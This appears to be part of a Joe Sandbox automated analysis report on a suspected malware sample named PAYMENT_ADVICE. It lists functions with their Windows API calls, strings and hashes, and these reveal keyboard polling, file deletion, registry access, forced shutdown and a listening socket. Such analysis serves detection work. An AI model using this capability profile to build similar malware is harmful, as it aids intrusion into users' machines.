                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: 0D>$0E>$0F>$3c5$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$pG>$_5
                                                              • API String ID: 0-2011058494
                                                              • Opcode ID: 9bb2de73420199f05d5f8bc667b868f48940881e865b30b332cffcb08809946b
                                                              • Instruction ID: f06de2abe21fe81f4a08969e224642d17ecab9a997c793b2c82db166ae341fb5
                                                              • Opcode Fuzzy Hash: 9bb2de73420199f05d5f8bc667b868f48940881e865b30b332cffcb08809946b
                                                              • Instruction Fuzzy Hash: 8D727075E0021A9BDF16CF59C881BAEB7B5FF48310F55816AE805FB690E7309E85CB90
                                                              Function 003AF0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 003AF113
                                                              • _wcscmp.LIBCMT ref: 003AF128
                                                              • _wcscmp.LIBCMT ref: 003AF13F
                                                                • Part of subcall function 003A4385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 003A43A0
                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 003AF16E
                                                              • FindClose.KERNEL32(00000000), ref: 003AF179
                                                              • FindFirstFileW.KERNEL32(*.*,?), ref: 003AF195
                                                              • _wcscmp.LIBCMT ref: 003AF1BC
                                                              • _wcscmp.LIBCMT ref: 003AF1D3
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 003AF1E5
                                                              • SetCurrentDirectoryW.KERNEL32(003F8920), ref: 003AF203
                                                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 003AF20D
                                                              • FindClose.KERNEL32(00000000), ref: 003AF21A
                                                              • FindClose.KERNEL32(00000000), ref: 003AF22C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                              • String ID: *.*
                                                              • API String ID: 1824444939-438819550
                                                              • Opcode ID: 4dac008f8eed7ccffb533da1c902320119bc1aa0334a1edf778f53856a95cb50
                                                              • Instruction ID: 7016533af811cbc2aca2673339153cf5ad3aa2ec515d4b8d3c828020e53dc552
                                                              • Opcode Fuzzy Hash: 4dac008f8eed7ccffb533da1c902320119bc1aa0334a1edf778f53856a95cb50
                                                              • Instruction Fuzzy Hash: 9231CE3A50021DAECB26ABA4EC49FEE77ADDF86360F114575E900E30A0DB70DE45CB64
                                                              Function 003AA1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 003AA20F
                                                              • __swprintf.LIBCMT ref: 003AA231
                                                              • CreateDirectoryW.KERNEL32(?,00000000), ref: 003AA26E
                                                              • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 003AA293
                                                              • _memset.LIBCMT ref: 003AA2B2
                                                              • _wcsncpy.LIBCMT ref: 003AA2EE
                                                              • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 003AA323
                                                              • CloseHandle.KERNEL32(00000000), ref: 003AA32E
                                                              • RemoveDirectoryW.KERNEL32(?), ref: 003AA337
                                                              • CloseHandle.KERNEL32(00000000), ref: 003AA341
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                              • String ID: :$\$\??\%s
                                                              • API String ID: 2733774712-3457252023
                                                              • Opcode ID: b939e1d002bd0a31e2cf44611d6e05ab3797fd2b39f008baea8dd89fb2212425
                                                              • Instruction ID: 45e6b2d6c483cc2b822ff0170667f2a1cd062632921dbb44b83b3abb4199eda3
                                                              • Opcode Fuzzy Hash: b939e1d002bd0a31e2cf44611d6e05ab3797fd2b39f008baea8dd89fb2212425
                                                              • Instruction Fuzzy Hash: BC31E8B6500109ABDB22DFA0DC45FEB77BDEF89740F1040B6F508D61A0E7749644CB25
                                                              Function 003A001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetKeyboardState.USER32(?), ref: 003A0097
                                                              • SetKeyboardState.USER32(?), ref: 003A0102
                                                              • GetAsyncKeyState.USER32(000000A0), ref: 003A0122
                                                              • GetKeyState.USER32(000000A0), ref: 003A0139
                                                              • GetAsyncKeyState.USER32(000000A1), ref: 003A0168
                                                              • GetKeyState.USER32(000000A1), ref: 003A0179
                                                              • GetAsyncKeyState.USER32(00000011), ref: 003A01A5
                                                              • GetKeyState.USER32(00000011), ref: 003A01B3
                                                              • GetAsyncKeyState.USER32(00000012), ref: 003A01DC
                                                              • GetKeyState.USER32(00000012), ref: 003A01EA
                                                              • GetAsyncKeyState.USER32(0000005B), ref: 003A0213
                                                              • GetKeyState.USER32(0000005B), ref: 003A0221
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: State$Async$Keyboard
                                                              • String ID:
                                                              • API String ID: 541375521-0
                                                              • Opcode ID: 5d8d1a0bc4d060ea4bea87759d2d08d021f6a4932f0c9c969833fbbdcb824733
                                                              • Instruction ID: 152f41aedeb8f06eaf4a428a2a135e2c93c257d20365ebedccb6e63d60b88274
                                                              • Opcode Fuzzy Hash: 5d8d1a0bc4d060ea4bea87759d2d08d021f6a4932f0c9c969833fbbdcb824733
                                                              • Instruction Fuzzy Hash: 6F51C92490478829FB3ADBB088547EABFB4DF13380F09459E95C25B5C2DAA49B8CC761
                                                              Function 003C03DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003C0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003BFDAD,?,?), ref: 003C0E31
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003C04AC
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                              • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 003C054B
                                                              • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 003C05E3
                                                              • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 003C0822
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 003C082F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                              • String ID:
                                                              • API String ID: 1240663315-0
                                                              • Opcode ID: 004a9a5e03c6ffb21ddd8b6b1a393de029d41380c2c7218458066b29bcd10534
                                                              • Instruction ID: be84b923518846715e36967f827d6afd6cc1f4a1ccd06d06428122564bc95c40
                                                              • Opcode Fuzzy Hash: 004a9a5e03c6ffb21ddd8b6b1a393de029d41380c2c7218458066b29bcd10534
                                                              • Instruction Fuzzy Hash: 2FE14D71604210EFCB1ADF28C891E6BBBE9EF89714F04856DF84ADB261D631ED01CB91
                                                              Function 003B83BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                              • CoInitialize.OLE32 ref: 003B8403
                                                              • CoUninitialize.OLE32 ref: 003B840E
                                                              • CoCreateInstance.OLE32(?,00000000,00000017,003D2BEC,?), ref: 003B846E
                                                              • IIDFromString.OLE32(?,?), ref: 003B84E1
                                                              • VariantInit.OLEAUT32(?), ref: 003B857B
                                                              • VariantClear.OLEAUT32(?), ref: 003B85DC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                              • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                              • API String ID: 834269672-1287834457
                                                              • Opcode ID: 5348977e8e0b07ca802a82f77c0edee8be3016df425d30851cbe8efeba16201e
                                                              • Instruction ID: e72ff2bd9cfde0abdb3549dda4d92c06eb2c31120737a205ef775898ed27e5fd
                                                              • Opcode Fuzzy Hash: 5348977e8e0b07ca802a82f77c0edee8be3016df425d30851cbe8efeba16201e
                                                              • Instruction Fuzzy Hash: D66180706083129FC712DF55C849FABB7ECAF4A758F04481AFA859B691CB70ED44CB92
                                                              Function 003B4164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                              • String ID:
                                                              • API String ID: 1737998785-0
                                                              • Opcode ID: e83036685b9d00f2d0ff837994a090dc768155fb7983312ca1b0e5822975f5e1
                                                              • Instruction ID: 843f03bd0b9c749671f90cd4a28287cb5282ea7c9ad9f570742b0f408282bb15
                                                              • Opcode Fuzzy Hash: e83036685b9d00f2d0ff837994a090dc768155fb7983312ca1b0e5822975f5e1
                                                              • Instruction Fuzzy Hash: 092194356002109FDB129F14EC09F6A7BADEF45715F11802AFA46DF262DB30BC00CB58
                                                              Function 003A37EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00344750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00344743,?,?,003437AE,?), ref: 00344770
                                                                • Part of subcall function 003A4A31: GetFileAttributesW.KERNEL32(?,003A370B), ref: 003A4A32
                                                              • FindFirstFileW.KERNEL32(?,?), ref: 003A38A3
                                                              • DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 003A394B
                                                              • MoveFileW.KERNEL32(?,?), ref: 003A395E
                                                              • DeleteFileW.KERNEL32(?,?,?,?,?), ref: 003A397B
                                                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 003A399D
                                                              • FindClose.KERNEL32(00000000,?,?,?,?), ref: 003A39B9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
                                                              • String ID: \*.*
                                                              • API String ID: 4002782344-1173974218
                                                              • Opcode ID: a9f8628cb153e0b7e32899153256b6c82abecbcb76ff188ef38ff2ab5dd53100
                                                              • Instruction ID: 5a9371111f1fef8e9f32a29315cb323ace065189e05b8e56062a1ebc9b4e5484
                                                              • Opcode Fuzzy Hash: a9f8628cb153e0b7e32899153256b6c82abecbcb76ff188ef38ff2ab5dd53100
                                                              • Instruction Fuzzy Hash: AE51403180514CAACF17EBA0D992AEEB7B9EF16300F604069F405BF192EB756F09CB51
                                                              Function 003AF3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                              • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 003AF440
                                                              • Sleep.KERNEL32(0000000A), ref: 003AF470
                                                              • _wcscmp.LIBCMT ref: 003AF484
                                                              • _wcscmp.LIBCMT ref: 003AF49F
                                                              • FindNextFileW.KERNEL32(?,?), ref: 003AF53D
                                                              • FindClose.KERNEL32(00000000), ref: 003AF553
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
                                                              • String ID: *.*
                                                              • API String ID: 713712311-438819550
                                                              • Opcode ID: 7a4873593673e4fabba663c04326a45e23b9cebf261411a9c99cf4db6bb0bc64
                                                              • Instruction ID: 7ae5307919725a20b874b881e3e14151a90e729a44463508ea64ec86faac4e9c
                                                              • Opcode Fuzzy Hash: 7a4873593673e4fabba663c04326a45e23b9cebf261411a9c99cf4db6bb0bc64
                                                              • Instruction Fuzzy Hash: 73415C71D0021AAFCF16EFA4CC55AEEBBB8FF06310F144566E815AB191DB30AE44CB50
                                                              Function 00353030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __itow__swprintf
                                                              • String ID: 3c5$_5
                                                              • API String ID: 674341424-2150917133
                                                              • Opcode ID: 856adc57beeb33b26e9922b6a730fc95676fdb6a9e5cb23761ebdda8040d5563
                                                              • Instruction ID: 98730d50eeef9dc74cad0fc4e75d339c630f8f743fb25bcb444419bf081989f2
                                                              • Opcode Fuzzy Hash: 856adc57beeb33b26e9922b6a730fc95676fdb6a9e5cb23761ebdda8040d5563
                                                              • Instruction Fuzzy Hash: E02291716083009FC726DF24C892F6FB7E5AF84750F11491DF99A9B2A1DB71E908CB92
                                                              Function 00355760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID:
                                                              • API String ID: 4104443479-0
                                                              • Opcode ID: cdcc37990d0071b98570979708cc119ae5521bfe23b521fe65f691d55fb373a9
                                                              • Instruction ID: 064358e13f1369677c205485b69cc8ada8c74a35a1a5a3f524c3a01733d4a048
                                                              • Opcode Fuzzy Hash: cdcc37990d0071b98570979708cc119ae5521bfe23b521fe65f691d55fb373a9
                                                              • Instruction Fuzzy Hash: A7128F70A00609DFDF0ADFA5D991AAEB7F5FF48310F104529E846EB261EB36AD14CB50
                                                              Function 003A51BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003987E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0039882B
                                                                • Part of subcall function 003987E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00398858
                                                                • Part of subcall function 003987E1: GetLastError.KERNEL32 ref: 00398865
                                                              • ExitWindowsEx.USER32(?,00000000), ref: 003A51F9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                              • String ID: $@$SeShutdownPrivilege
                                                              • API String ID: 2234035333-194228
                                                              • Opcode ID: f7f42be1082fde7c0280a66aff791ab93001828b980e6cbc86213e37ef230e39
                                                              • Instruction ID: 7074c90540551c7757965a1c90def602ee5de36ae80d1920e15e19e91696c3ca
                                                              • Opcode Fuzzy Hash: f7f42be1082fde7c0280a66aff791ab93001828b980e6cbc86213e37ef230e39
                                                              • Instruction Fuzzy Hash: FE01F7316916156BEB2F63689C8AFBA725CEB07750F210C20F913E60D2D9516C008690
                                                              Function 003B6283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • socket.WSOCK32(00000002,00000001,00000006), ref: 003B62DC
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 003B62EB
                                                              • bind.WSOCK32(00000000,?,00000010), ref: 003B6307
                                                              • listen.WSOCK32(00000000,00000005), ref: 003B6316
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 003B6330
                                                              • closesocket.WSOCK32(00000000), ref: 003B6344
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$bindclosesocketlistensocket
                                                              • String ID:
                                                              • API String ID: 1279440585-0
                                                              • Opcode ID: 57372b381d0d17761c55210a35a42f63c800b00182e8cb9d4119ca7c093046ff
                                                              • Instruction ID: 6c37d2231a1ca45ce9e08ce1d6240b0282731a7405135f36895ef4abdd2feca7
